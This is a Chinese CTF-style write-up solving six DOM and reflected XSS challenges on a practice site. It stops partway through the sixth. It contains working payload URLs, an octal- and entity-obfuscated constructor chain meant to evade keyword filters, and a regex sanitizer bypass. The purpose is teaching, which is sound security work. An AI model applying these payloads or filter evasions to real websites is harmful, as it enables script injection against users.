十二个XSS案例重新认识XSS-上

首发于https://mp.weixin.qq.com/s/wa1dj-SX0WHhj7aywmq_9g

前言

前段时间看到了px1624的10题XSS案例,一直留着留着,终于拿出来看看了。还好网站没关。(现在已经变成了12题)

觉得是一个JS基础不是很好的菜鸡补充了解一些JS基础和奇怪姿势的很好的案例,此文包含1-6题(共1w800字),知识点大概包括:

  • JS中 a[“b”] 等同于 a.b:JS属性访问器
  • JQuery元素的text方法与html方法的区别
  • JQuery的DOM XSS特性 $("<img src=x onerror=alert(1)>") 可以弹框
  • JS中constructor的原理
  • 衍生了题外话弹框替换:""["constructor"]["constructor"]("alert(1)")()
  • 模板字符串具有跨行的特性
  • 在字符串中使用运算符拼接执行js语句
  • 正则匹配的规则与正则规则.的绕过

对于以上列出知识点如果只有个别不清楚的,可以直接在各题知识点中找到它,然后看那一题就行了。

此外还提出了第三题在官方WP中由于篇幅没有提到的使用注释的解法。

实际上px1624有出官方WP,写的很好。但是以菜鸡的角度去看题目总会讲述到一些默认被跳过的但是又有点东西的细节,也做了一点衍生。写文章一向往细了写,结合了看可能也会有所帮助吧?

有错误喷就完事了。

感谢px1624老哥的案例分享

感谢huuu老哥忍受了我一个憨批问题的骚扰和知识点指点

第一题

题目:http://px1624.sinaapp.com/test/xsstest1/

1
2
3
4
5
6
<script type="text/javascript">
var x=location.hash;
function aa(x){};
setTimeout("aa('"+x+"')",100);
</script>
Give me xss bypass 1~

知识点

  • location.hash
  • setTimeout

就基础的两个知识点。

  1. location.hash

取URL中的锚点部分(#开始的部分,包括#),通常用于用户页面的浏览位置的定位

1
2
URL: "http://px1624.sinaapp.com/test/xsstest1/#');alert('1"
location.hash: "#');alert('1"
  1. setTimeout

setTimeout函数分为2种使用方式:

  • setTimeout(JS函数名, 等待的毫秒数,参数1,参数2):延时后执行指定JS函数,并传入参数1,参数2
  • setTimeout(JS代码(字符串格式), 等待的毫秒数):延时后执行指定字符串中的JS代码,与EVAL类似

延迟执行JS代码:

1
2
3
4
5
6
7
8
9
10
11
12
//执行JS函数aa
function aa(x){alert(x)};
setTimeout(aa,100,1);
//执行js代码:弹框1
setTimeout("alert('1')",100);
//执行js代码段:弹框1弹框2
setTimeout("alert('1');alert('2')",100);
//js代码段可以调用当前上下文函数
function aa(x){};
setTimeout("aa('#');alert('1')",100);
//因为是字符串,也可以拼接后执行
setTimeout("aa('"+"#');alert('1"+"')",100);

那么现在再回头去看题目代码,就可以很显而易见的发现就是把location.hash的值拼接进入setTimeout的第一个参数中,而由于setTimeout的特性,第一个字符串参数会被当作JS解析执行。

那么我们只需要闭合前面的,然后执行我们指定的JS代码来进行弹框。

Writeup:

http://px1624.sinaapp.com/test/xsstest1/#');alert('1

第二题

题目:http://px1624.sinaapp.com/test/xsstest2/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
Give me xss bypass 2~
<div style='display:none' id='xx'>&lt;img src=x onerror=alert(1)&gt;</div>
<input type='button' value='test' onclick='alert("鍝堝搱锛岀偣杩欑帺鎰忔病鍟ョ敤鐨勶紒")'>
<body>
<script>
var query = window.location.search.substring(1);
var vars = query.split("&");
if(vars){
aa(vars[0],vars[1])
}
function aa(x,y){
$("#xx")[x]($("#xx")[y]());
}
</script>
</body>
</html>

知识点

  • window.location.search
  • 字符串操作:substring、split
  • JQuery的DOM对象操作,html、append、after、before等
  • a[“b”] 等同于 a.b
  • JQuery元素的text属性会解析html编码
  1. window.location.search字符串操作

为URL中的参数部分(?开始的部分,包括?),GET参数。

1
2
3
4
5
6
URL: "http://px1624.sinaapp.com/test/xsstest1/?a1&b1"
window.location.search: "?a1&b1"
//substring(1)从第一位开始截取到最后一位
window.location.search.substring(1): "a1&b1"
//query.split("&")根据&分割成数组
query.split("&"): ["a1","b1"]
  1. JQuery的DOM对象操作a[“b”] 等同于 a.b

取值a1,b1结束后,把值分别填入$("#xx")[x]($("#xx")[y]());的x和y中。

$('#xx') 就是JQuery语法里面的DOM元素选择器,等同于document.getElementById('xx');,这里选中了id=xx 的div标签。

利用a[“b”] 等同于 a.b的JS特性,来进行转换来看,(a1,b1为之前我们&分割的两个字符串):

$("#xx")[a1]($("#xx")[b1]());->$("#xx").a1变量的值($("#xx").b1变量的值());

经过px1624的鞭挞:对这个原理再剖析下,原来算是半懂,讲出来容易误导:(又在文档中找到了官方描述-属性访问器)

首先抛开题目内容,我们建立一个对象a:a={key:"value"}

我们有两种方式去获取到这个value:a.key或者 a["key"](注意这里是个字符串);这两者等价。

然后我们再引入一个字符串 str="key";那么a.key==a["key"]==a[str]

再回到题目:$(“#xx”)是一个对象(相当于上面的a);a1是一个字符串 a1=”a1-value”

那么通过上面的等式变通下:$("#xx")[a1]==$["#xx"]["a1-value"]==$["#xx"].a1-value

所以$("#xx")[a1]变换后写做$("#xx").a1变量的值

但是在日常表述中 a1=”123” 我们说a1 其实说的就是 ”123“,再此处进行细节说明之后,之后还是按照表述方便来。

这边显而易见,我们可控输入a1b1最后控制id为xx的DOM节点的方法

  1. JQuery的DOM对象操作、JQuery元素的的text属性会解析html编码

由于我们可以自主操控DOM节点的方法,那么在这里触发XSS自然是要修改DOM树,写入payload语句进行渲染执行,所以确定a1是一个可以修改DOM树的动作操作:

这里我们可以直接去查看JQuery官方文档找到其中关于文档处理的部分,列出部分函数:

html、append、after、before等等,我们先选取html来修改DOM树。

1
2
3
4
$("#xx").html(123)
//修改id=xx的标签的内容为123
$("#xx").html("<img src=x onerror=alert(1)>")
//修改id=xx的标签的内容为一个弹框payload,渲染后就会弹框了

此处在官方WP中还提出此处a1可以使用constructor,并且一笔带过。

事实是,此处确实可以使用constructor来进行弹框,但是其理论基础却不是通过修改DOM树,写入payload语句使页面进行重新渲染导致的。而是直接临时渲染单个节点,具体之后再进行解释。

$("#xx").html($("#xx").b1());,确定了a1还有一处b1。我们现在需要html括号里面的$("#xx").b1()返回的内容为一个payload,而xx标签的内容本身就是一个payload,只不过是一个html编码后的payload

2-1.png

根据文档,html()也是可以直接获取当前节点的内容的。直接$("#xx").html($("#xx").html())这样获取到编码后的payload可以么?当然不可以,你会发现这只不过是把原来的东西取出来再放回去,怎么可能有用。

我们可以利用text属性会解析html编码的特性得到我们想要的未编码的payload,测试$("#xx").b1()b1的取值html与text:

1
2
3
4
$("#xx").html()
"&lt;img src=x onerror=alert(1)&gt;"
$("#xx").text()
"<img src=x onerror=alert(1)>"

text属性返回被解析后的HTML标签

1
2
3
4
//理想中的样子
$("#xx").html("<img src=x onerror=alert(1)>")
//用text替换
$("#xx").html($("#xx").text())

回退回去得到writeup1:

http://px1624.sinaapp.com/test/xsstest2/?html&text

constructor的触发原理

之前说到payload使用constructor也是可以的,writeup2:

http://px1624.sinaapp.com/test/xsstest2/?constructor&text

我们来看下具体技术细节,跳过字符串传递的那一部分,直接来到$("#xx").constructor($("#xx").text())

再跳过之前分析过的text解析html编码的那一部分来到$("#xx").constructor("<img src=x onerror=alert(1)>")

constructor其实就是取$("#xx“)这个JQuery对象的构造器,然后往构造器里面传参<img src=x onerror=alert(1)

1
2
$("#xx").constructor === $().constructor
true

然而一个指定选择器的JQuery对象的构造器跟一个空的JQuery对象的构造器是完全等价的

创建一个JQuery对象其实就是给一个JQuery对象的构造器传参,所以:

1
2
3
4
5
$("#xx").constructor("<img src=x onerror=alert(1)>")
//实际上就是等于
$().constructor("<img src=x onerror=alert(1)>")
//实际上就是等于
$("<img src=x onerror=alert(1)>")

$(html),参考官方API或者看源码可以知道他会在一个临时的div中插入我们写入的html标签,但是这个标签不会直接插入到DOM树中,所以不会引起DOM树的变化因此也不会重新渲染页面。

但是它仍然会解析执行我们的标签,虽然没有从源码中或者文档中找到它的渲染原理,但是经过测试,不是所有标签或者JS都会被执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$("<img src=x onerror=alert(1)>")
//执行弹框
$("<audio src=dns地址 onerror=alert`1`>")
//dnslog收到请求,执行弹框
$("<video src=x onerror=\"javascript:alert(12)\"></video>")
//执行弹框
$("<svg onload=alert`1`>")
//不执行弹框
$("<script>alert(2)</script>")
//不执行弹框
$(alert(1))
//执行弹框
$("alert(1)")
//不执行弹框

$(console.log(1))$(alert(1))表达式传参进入都是可以正常执行的。但是执行不是因为DOM操作的执行

之所以执行只是单纯先执行alert(1)表达式,其结果再进入$()进行逻辑处理,我们传入的值不符合其预期,但是没有语法错误也是不会报错的。

但是$(“console.log(1)”)、$(“alert(1)”) 跟前面的标签一样,都是作为字符串传参传入,就不会弹框啦

大致上只有单个标签src=x 加上onerror事件,会执行里面的JS代码,其他均不渲染执行。(如果有老哥知道原理的 可以跟我交流下,非常感谢)

这种这种执行规则被px1624老哥在WP种写作JQuery的DOM XSS,但是个人理解,这不算在漏洞范畴,而是特性范畴。

最大的问题就是引入最新的3.5.1版本JQuery,在命令行中输入$("<img src=x onerror=alert(1)>")仍然会弹框。看以往JQuery 漏洞修复都是过滤器过滤location.hash这类外部数据输入点(会存在#,编码等情况),从而完成修复的。$()直接引入字符串变量的,应该不算是漏洞???

至此就对两类触发原理进行了区分

  • 前者html等是直接修改页面的DOM树导致重新渲染执行
  • 后者constructor是建立JQuery对象时进行有条件的临时渲染执行(JQuery DOM XSS特性)

题外话:利用constructor构造弹框

上面提到constructor是获取前一对象的构造函数,我们可以利用这一特性来构造一个替代弹框的方法:

其根本原理是使用Function来构造匿名函数,然后在其中写入任意的js代码进行执行:

1
2
3
let sayHi = new Function('alert("Hello")');
sayHi(); 
//弹框Hello

写成一句直接调用

1
2
3
4
5
new Function('alert("Hello")')();
//弹框
//精简去掉 new 和 ;
Function('alert("Hello")')()
//弹框

我们要知道Function是所有对象的最原始的构造函数,因为所有基础对象的上一层构造方法就是Function。替换掉Function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"1".substr
ƒ substr() { [native code] }
//substr方法
typeof("1".substr)
"function"
typeof(Object)
"function"
typeof(String)
"function"
//function类型的构造方法就是Function
String.constructor === Function
true
Object.constructor === Function
true
//来加上原来构造好的语句
String.constructor('alert("Hello")')()
//弹框
Object.constructor('alert("Hello")')()
//弹框

我们还可以进一步构造出function,比如替换String或者弄个新的function

1
2
3
4
5
6
7
8
"1".constructor === String
true
//payload1
"1".constructor.constructor("alert(1)")()
typeof("1".substr)
"function"
//payload2
"1".substr.constructor("alert(1)")()

再根据a.b与a[b]等价的定理进行变换,再删个1:

1
2
3
4
//payload1
""["substr"]["constructor"]("alert(1)")()
//payload2
""["constructor"]["constructor"]("alert(1)")()

我们一路变形有啥意义么,通常而言,要替换弹框就是为了绕过关键词的检测,但是现在alert(1)关键词还在,完全就是花里胡哨。

实际上现在”alert(1)”已经变为字符串了,针对字符串,可以使用16进制,8进制转码,我们用8进制转码:

1
""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()

弹框的变形替换就完成了,可以根据环境放入标签中,比如IMG标签中,针对JS代码还可以使用HTML编码

1
<img src=x onerror="&#34;&#49;&#34;&#91;&#34;&#92;&#49;&#54;&#51;&#92;&#49;&#54;&#53;&#92;&#49;&#52;&#50;&#92;&#49;&#54;&#51;&#92;&#49;&#54;&#52;&#92;&#49;&#54;&#50;&#34;&#93;&#91;&#34;&#92;&#49;&#52;&#51;&#92;&#49;&#53;&#55;&#92;&#49;&#53;&#54;&#92;&#49;&#54;&#51;&#92;&#49;&#54;&#52;&#92;&#49;&#54;&#50;&#92;&#49;&#54;&#53;&#92;&#49;&#52;&#51;&#92;&#49;&#54;&#52;&#92;&#49;&#53;&#55;&#92;&#49;&#54;&#50;&#34;&#93;&#40;&#34;&#92;&#49;&#52;&#49;&#92;&#49;&#53;&#52;&#92;&#49;&#52;&#53;&#92;&#49;&#54;&#50;&#92;&#49;&#54;&#52;&#92;&#53;&#48;&#92;&#54;&#49;&#92;&#53;&#49;&#34;&#41;&#40;&#41;">

完事

第三题

题目:http://px1624.sinaapp.com/test/xsstest3/

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '';
if (px != "") {
$('xss').val('');
}
})
</script>

知识点:

  • 多点同步输出的注释使用
  • 在字符串中使用运算符执行js

从js的角度没有直接看到DOM类型的函数输入入口,可以判断跟前两题DOM XSS不一样,应该是个反射XSS。

那么参数就靠自己猜了,估摸不是px就是xss。

http://px1624.sinaapp.com/test/xsstest3/?px=123

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '123';//反射点1
if (px != "") {
$('xss').val('123');//反射点2
}
})
</script>

px参数对应两处反射输出点,看看是否有编码过滤,使用payload:"/<>()'%26;%20=*

1
2
3
4
5
6
7
8
<script>
$(function test() {
var px = '&quot;/&lt;&gt;()'&amp;; =*';
if (px != "") {
$('xss').val('&quot;/&lt;&gt;()'&amp;; =*');
}
})
</script>
  • 被转义:"<>&
  • 可以使用:/();空格=*

可以发现单引号已经完成了js语句的闭合,在浏览器中也会发现语义会报错,可以确定可以进行注入。

后端实际使用的是htmlspecialchars()该函数的默认配置不转换单引号

先尝试构造出一个合法的js上下文环境进行弹框,比如';alert(1);//

1
2
3
4
5
6
7
8
9
10
<script>
$(function test() {
//此处语法合规
var px = '';alert(1);//';
if (px != "") {
//此处语法报错
$('xss').val('';alert(1);//');
}
})
</script>

再把下边这个也弄合规,比如');alert(1);//

1
2
3
4
5
6
7
8
9
10
<script>
$(function test() {
//语法错误
var px = '');alert(1);//';
if (px != "") {
//语法正确
$('xss').val('');alert(1);//');
}
})
</script>

因为语句环境的不通确实无法两全其美,顾此失彼,失败。

使用注释

因为上下文两处输出位置,会想到使用多行注释进行多行注释,破坏当前语言结构来进行构造。在js中多行注释:

  • /* xx */:常见的js多行注释
  • <!-- xxx -->:这个虽然实际上是HTML注释,本以为可以使用,但是并不可以。
    • <!--在谷歌浏览器和火狐浏览器中经过测试是等同于//
    • -->不受支持

尝试破坏语法结构,主要思路就是注释掉两个反射点中间的语法部分,然后自主重构js:

第一处需要把

  1. */放到字符串里取消注释作用
  2. 闭合前面语句
  3. 开始/*

第二处

  1. 需要先引入*/,把前边代码注释
  2. 自主插入js处理后面的对应结构
  3. 写入弹框语句即自定义语句
  4. 再把/*关进字符串里,取消注释作用
  5. 最后处理后面的尾巴。

直接上payload:*/if(true){alert(1);var a=';/*';//

拆解一下payload每一个部分的作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*/
//注释两个插入点中间的代码
if(true){
//为了引入一个{来对应之后的}结构
alert(1);
//自主js随便写,这里就弹个框
var a='
//为了在反射点2把/*关进字符串,引入一个变量
//同时'也是闭合反射点1的字符串
;
//;为了在反射点1的语法正确
/*
//对于反射点1来说直接开始注释
';
//对于反射点2来说这是一个字符串的结束,再加上;
//
//注释反射点2后面的尾巴

最后页面如下:

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '*/if(true){alert(1);var a=';/*';//';
if (px != "") {
$('xss').val('*/if(true){alert(1);var a=';/*';//');
}
})
</script>

当然也可以精简一下var a=这一部分payload:

http://px1624.sinaapp.com/test/xsstest3/?px=*/if(true){alert(1);%27;/*%27;//

还可以精简一下if(true):语句,神奇的大括号闭合同样不会报错:

http://px1624.sinaapp.com/test/xsstest3/?px=*/{alert(1);%27;/*%27;//

再偷工减料,废物利用下,得到最后12个字符的writeup,(但是这样就不弹1了):

http://px1624.sinaapp.com/test/xsstest3/?px=*/{alert(%27/*

使用运算符(官方解法)

'-alert(1)-'一开始是没有想到有这种解法的,但是再看完writeup之后,发现这就是XRAY常见的js中的xss payload。

知识点:

  • js中的运算符拼接可以执行语句

writeup:http://px1624.sinaapp.com/test/xsstest3/?px=%27-alert(1)-%27

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = ''-alert(1)-'';
if (px != "") {
$('xss').val(''-alert(1)-'');
}
})
</script>

前后闭合单引号',中间使用运算符连接-(可以使用*,+,-,\等等),再写入js函数alert(1)可以成功调用。

关于这里中间能够适配的js函数,目前实验出来是已有的函数调用都可以使用

比如window.open('http://www.baidu.com')

第四题

题目:http://px1624.sinaapp.com/test/xsstest4/

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 4~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '';
if (px != "") {
$('xss').val('');
}
})
</script>

知识点:

  • 多点同步输出的注释使用
  • 模板字符串具有类似跨行注释的特性
  • 不被注意到的更多的运算符

其实代码还是一模一样,但是服务端过滤规则变化了,不再是对输出字符转义了,而是针对特定字符直接黑名单。

可以使用%00-%ff进行字符测试,看看哪些字符被ban了。

省事直接取官方WP的中源码的黑名单列表:<>+_*/&|~^%!?=

回顾之前的思路:

  • 使用运算符:运算符连接表达式来执行JS,但是由于算数运算符+-*/%都被ban了,无法使用

  • 使用注释:我们之前使用的是/*..*/,由于*也被ban了,无法使用

看似我们又回到了之前的顾头不顾尾的处境中。

在使用注释的思路中,我们是要将两个注入点中间的代码无意义化,破坏上下文结构从而写入自己的代码完成闭合。实际上除了注释,还有其他形式的结构可以实现这样的功能:字符串,将代码当作字符串。

在js中我们知道其实双引号(”)其实是支持多行字符组成字符串的:

1
2
3
4
5
var a ="123\
456\
789";
//a
"123456789"

但是这需要每一行字符的后缀加上\,在当前场景下不可能。

除此之外,JS中也存在可以容纳换行的字符串结构:模板字符串

注释进阶:使用模板字符串

模板字符串使用反引号来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。

  • 多行字符串:不同于单引号双银行,模板字符串可以包含换行(也是我们这题要使用到的特性)
  • $(表达式):可以在模板字符串中使用该形式引入简单表达式
  • 带上标签(tag)的模板字符串:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//1.可以包含换行符
var a=`123
456`;
//2.使用表达式,类似于在字符串中使用运算符的情况
var a=(`123${alert(1)}`);
//3.定义函数、使用标签执行函数,并传参
function myTag(strings, personExp, ageExp) {
var str0 = strings[0]; // "that "
var str1 = strings[1]; // " is a "
return str0 + personExp + str1 + ageExp;
}
var person = 'Mike';
var age = 28;
var output = myTag`that ${ person } is a ${ age }`;
console.log(output);
// that Mike is a youngster

带入我们题目的场景,我们需要把模板字符串拆成前后两部分,A反引号B

  • A部分是为了满足前面插入点语句的闭合;在前面语句中,B部分变为了字符串不用理会
  • B部分是为了满足后面插入点语句的闭合;在后面语句中,A部分变为了字符串不用理会

那么只需要各自构造然后拼接就可以了,回到题目上下文环境:

1
2
3
var px = '插入点';
// A部分需要闭合一个'、一个;
//';
1
2
3
4
$('xss').val('插入点');
}
//B部分前面都变成字符串的一部分了,需要给模板字符串一个分号作为结束
//后面还需要闭合一个'、一个)、一个}

老老实实构造一个if语句的poc:http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;if(1){alert(%27(由于MARKDOWN会吞反引号,用中文代替)

1
2
3
4
5
6
   $(function test() {
var px = '';`;if(1){alert('';
if (px != "") {
$('xss').val('';`;if(1){alert('');
}
})

然后开始利用浏览器特性开始偷,就是慢慢删、不报错就可以,writeup1:

http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{alert(%27(13个字符gainover解法)

由于当前有JQuery环境,还可以利用之前提到的$(alert(1))来弹框,writeup2:

http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{$(alert(1),%27

直接括号也可:http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{(alert(1),%27

运算符进阶:更多的运算符

之前分析看似不行的道路实际上都还有骚操作,深刻教训:查文档请查开发者文档

除了我们知道的一些常见的运算符号,还有一些少用的运算符比如ininstanceof

'' in alert(1)构造payload。虽然会由于数据类型不正确,运行时执行错误(字符串 in 一个表达式),但是JS解析时语法是正确的。同时由于执行顺序是先执行alert(1)函数,然后再处理关系运行符的执行顺序,可以正确执行弹框语句。

'in alert(1) in'writeup:http://px1624.sinaapp.com/test/xsstest4/?px=%27in%20alert(1)%20in%27

1
2
3
4
5
6
   $(function test() {
var px = ''in alert(1) in'';
if (px != "") {
$('xss').val(''in alert(1) in'');
}
})

罗列个运算符标识符清单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
in
instanceof
<
>
&
|
^
+
-
/
*
%
delete
void
typeof
~
!

第五题

题目:http://px1624.sinaapp.com/test/xsstest5/

知识点:

  • script标签的src
  • js基本函数

访问后会发现地址栏直接传到:http://px1624.sinaapp.com/test/xsstest5/user.php?callback=Give%20me%20xss%20bypass~

在这个页面测试,callback参数无论输入什么都会返回对应的内容,可以写入alert之类的弹框语句,但是这边并不会构成xss。

因为返回的内容体是Content-Type: text/javascript,这个内容类型跟application/json之类的类似,都是不会被浏览器按照html解析的。所以一定什么地方我们有疏漏。

我们清空浏览器缓存,抓取数据包的的话会发现实际上这里会有一个跳转行为,访问view-source:http://px1624.sinaapp.com/test/xsstest5/可以查看默认页面的js源码逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<html>
<script src="../jquery-3.4.1.min.js"></script>
<Script src="./index.js"></Script>
<head>
<script type="text/javascript">
var orguin = $.Tjs_Get('uin');
var pagenum= $.Tjs_Get('pn');
if(orguin<=0) window.location="./user.php?callback=Give me xss bypass~";
document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/'+orguin+'?'+pagenum+'"><\/script>');
</script>
</head>
<body>
Give me xss bypass 5~
</body>
</html>
  1. 引入了一个index.js作为库函数使用,$.Tjs_Get正是其中的方法(会解析出对应GET参数),我们可以到内部去看其逻辑,之后分析。

  2. 如果orguin的内容小于=0 就会跳转(就是我们直接访问默认跳转的情况)

    不然的话会向当前页面写入一个script标签,其内容是当前网站的某个页面的内容(我们可以控制相对路径和参数)

比较明显,我们的目标就是传入uin参数pn参数,绕过跳转,再利用document.write来引入一个存在payload的页面。作为script解析执行。

先来看看我们传入的参数收到了怎么样的解析,XSS总是逃不过看关键JS的命运,这里不看之后就看不懂了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Tjs_Get:function(parmtname){
//在url地址中找到&和#的位置
var sl = location.href.indexOf('&');
var hl = location.href.indexOf('#');
var str = '';
//没有&参数分割字符并且有#锚点字符,或者&字符在锚点#之后并且有#锚点字符
//就开始解析#锚点之后的参数
if ((sl < 0 || sl > hl) && hl > 0) str = location.hash.substr(1);
//否则解析get参数
else str = location.search.substr(1);
//waf1:过滤%,置换为空
str=str.replace(/%/g,"");
//清空包括?之前的字符,做一个html编码,waf2
var SERVER_TEMP = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 进行安全验证
//get参数按照&分割,读取参数名跟我们输出的参数名比对
//如果一样就获取值
var PAGE_PARMT_ARRAY = SERVER_TEMP.split("&amp;");
if(PAGE_PARMT_ARRAY.length==0) return "";
var value="";
for(var i=0;i<PAGE_PARMT_ARRAY.length;i++){
if(PAGE_PARMT_ARRAY[i]=="") continue;
var GETname = PAGE_PARMT_ARRAY[i].substr(0,PAGE_PARMT_ARRAY[i].indexOf("="));
if(GETname == parmtname){
value = PAGE_PARMT_ARRAY[i].substr((PAGE_PARMT_ARRAY[i].indexOf("=")+1),PAGE_PARMT_ARRAY[i].length);
return value;
break;
}
}
return "";
},
  1. 分情况解析?之后的参数(location.search)或者是#之后的参数(location.hash)
  2. %被过滤,替换为空
  3. 包括?之前的字符会被清空不被解析(经过测试为贪婪匹配即最后一个?为准)
  4. 假如出现两个相同的参数名的参数,根据实现逻辑会取第一个的值

简单瞅一下自实现的js加密Tjs_HtmlEncode:正常的html编码

1
2
3
4
5
6
7
8
9
Tjs_HtmlEncode:function (sStr)
{
sStr = sStr.replace(/&/g,"&amp;");
sStr = sStr.replace(/>/g,"&gt;");
sStr = sStr.replace(/</g,"&lt;");
sStr = sStr.replace(/"/g,"&quot;");
sStr = sStr.replace(/'/g,"&#39;");
return sStr;
},

看完之后我们大致就可以清楚为什么我们直接访问会进行跳转:我们没有传入uin参数,那么获取到的orguin就是"",在js中""==0成立,满足""<=0,于是跳转。

那么第一步我们需要让他不跳转,来进行js调试,根据原理访问http://px1624.sinaapp.com/test/xsstest5/?uin=123即可。而http://px1624.sinaapp.com/test/xsstest5/?uin=123#就不行,根据解析规则,他会去截取#之后的字符去解析。

回归payload触发,我们要在script标签中引入一个带有js的页面,我第一反应是直接引入之前题目成功弹框的页面,比如test4:http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{alert(%27

1
document.write('<script type="text/javascript" 	src="http://px1624.sinaapp.com/'+orguin+'?'+pagenum+'"><\/script>');

按照对应的拼接规则来构造payload:http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest4/&pn=px=%27;反引号;{alert(%27*。然后就发现不行,原因有二:

  • 根本思路错误:在本地测试直接利用script标签在src引入test4的带有js的页面也不会成功弹框,因为test4弹框的页面不单单只有js代码,还有html代码,都引入到script标签中当作JS解析会解析错误。
  • 我们构造的payload被破坏:根据js解析规则我们构造的payload其中的%会被吃掉。

更换思路,我们不能指定的页面不能带有html标签,而是要在对方服务器上找到一个仅仅存在js payload的页面,来引入执行。(根据题目中的url拼接规律是不可以引入其他域名的页面的,只有这种方法可以)

想到之前我们默认访问跳转的页面,我们给啥他返回啥,但是由于内容头不解析的user.php,通过callback指定返回内容:

http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)

根据拼接规则构造payload,会发现这种思路构造的payload恰好绕过了Tjs_Get的两个waf过滤:既没有%,也没有被编码的关键词,只需要按照处理规则拼接即可:

http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest5/user.php&pn=callback=alert(1)

当然根据js代码中获取Tjs_Get不同的规则,还可以获取锚点中的参数,对应writeup:

http://px1624.sinaapp.com/test/xsstest5/#uin=test/xsstest5/user.php&pn=callback=alert(1)

第六题

题目:http://px1624.sinaapp.com/test/xsstest6/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<script src="../jquery-3.4.1.min.js"></script>
<Script src="./index.js"></Script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript">
var orguin = $.Tjs_Get('uin');
if(orguin<=0) window.location="./user.php?callback=";
document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/pxpath/'+decodeURIComponent(orguin)+'&'+Math.random()+'"><\/script>');
</script>
</head>
<body>
Give me xss bypass 6~【任意浏览器弹1就算通过】
</body>
</html>

知识点

  • 正则表达式.匹配范畴
  • 浏览器处理字符集的情况(直接URL访问与通过字符串跳转)
  • JS正则匹配的匹配逻辑
  • window.name跨域传输参数
  • 延续第二题分析的JQuery DOM XSS的特性

这是很复杂的一题,按照出题者说是最难的一题。

跟第五题看上去区别不大,index.js中的内容也没有变化,其他有三处变化:

  • 之前2处参数前端参数输入自动用? 连接的script标签拼接处,变为了 一处参数插入,之后加了个应该没用&和随机数
  • 输入的参数用了decodeURLComponent解密后拼接
  • 进入了一个/pxpath/的不存在的子目录,看样子需要../去回到上层目录才行

回顾之前的Tjs_Get解析分析的结果:

  1. 分情况解析?之后的参数或者是#之后的参数
  2. waf1:%被过滤为空
  3. waf2:包括?本身之前的字符会被清空不被解析(经过测试为贪婪匹配即最后一个?为准)
  4. 假如出现两个相同的参数名的参数,根据实现逻辑会取第一个的值

这里尝试跟上一题一样构建payload的话就会发现我们必须跟%?这两个waf杠上,因为我们引入的script标签src来源payload所在地:http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)就是有一个?

按照waf2规则,如果我们使用?,之前的内容就会被丢弃;如果尝试对?进行url编码(因为最后拼接前有一个decodeURLComponent url解码,可以恢复出我们的?)就会因为在读取参数的时候%被删掉而失败。

那么只有两个思路:

  1. 仍然使用user.php?callback的payload触发页面,然后想办法硬肛WAF来绕过
  2. 使用一个没有?的payload触发页面

由于域名的限定,当前域名没有符合第二个思路的条件:于是使用一个没有?的payload触发页面的思路,就PASS。

还是来硬肛WAF,两个WAF都是由正则匹配的:

  • str.replace(/%/g,"");
  • str.replace(/.*\?/,"")

前者加上了g修饰符完成全局匹配%,确实没法绕过;看后者实现的逻辑为:0个或多个除了换行符以外的字符再加上一个?会被替换为空。

  • .:除了换行符以外的字符
  • *:一次或多次
  • \?:一个?字符

可以注意到他只匹配除换行符以外的字符加一个问号,那么插入一个换行符是不是就可以破坏他的匹配规则?

先给出两种不考虑waf情况的理论poc(js中的参数形式与锚点形式):

1
2
3
4
5
6
7
8
参数形式:"http://px1624.sinaapp.com/test/xsstest6/?uin=../test/xsstest5/user.php?callback=alert(1)"
//在js处理中会取location.search.substr(1),即:
uin=../test/xsstest5/user.php?callback=alert(1)
锚点形式:"http://px1624.sinaapp.com/test/xsstest6/#uin=../test/xsstest5/user.php?callback=alert(1)"
//在js处理中会取location.hash.substr(1),即:
uin=../test/xsstest5/user.php?callback=alert(1)
//script标签的引入地址都是:
"http://px1624.sinaapp.com/pxpath/../test/xsstest5/user.php?callback=alert(1)"

可以抽象进入str.replace(/.*\?/,"")的str目前为123?456的格式,并且这个123?456是不能被删掉的全都要的数据。

我们知道常见的换行符有\r、\n,我们来到到谷歌浏览器命令行试验一下:

1
2
3
4
5
6
7
8
9
10
"123?456".replace(/.*\?/,"")
//"456" (匹配到了"123?")
"123\r?456".replace(/.*\?/,"")
//"123456" (匹配到了"?",123\456中间有一个看不见的\r)
//可以发现利用换行符的确可以截断
//由于我们是要一个?的,但是肯定会被匹配死掉一个,需要引入一个替死鬼
